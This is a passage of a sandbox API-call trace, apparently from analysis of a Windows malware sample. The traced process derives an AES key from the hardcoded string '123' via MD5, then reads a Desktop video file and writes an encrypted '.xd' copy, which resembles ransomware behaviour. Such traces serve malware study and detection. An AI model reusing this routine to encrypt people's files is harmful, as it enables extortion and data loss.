PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.481] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.481] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.481] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.481] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.481] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.481] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.481] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.481] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.481] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.482] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.482] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631e58) returned 1 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.507] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.507] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.507] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.507] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.508] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.508] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.508] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.508] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.508] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.508] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.508] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.508] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.508] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.509] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.509] CryptCreateHash (in: hProv=0x1631e58, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.509] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.509] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.509] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.510] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.510] CryptHashData (hHash=0x164c9b0, pbData=0x1629510, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.510] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.510] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.510] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.510] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.510] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.510] CryptDeriveKey (in: hProv=0x1631e58, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.510] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.511] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.511] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0078.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.511] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wnyfl7xomalfg.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.511] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.511] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.512] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.512] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.512] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wnyfl7xomalfg.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.512] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.512] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.512] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.512] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.522] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.522] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0078.524] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x2f2c, lpOverlapped=0x0) returned 1 [0078.524] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.527] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.527] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.527] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.527] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.527] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.527] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.527] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.527] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.527] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.528] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.528] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.528] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.528] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.528] CharUpperBuffW (in: 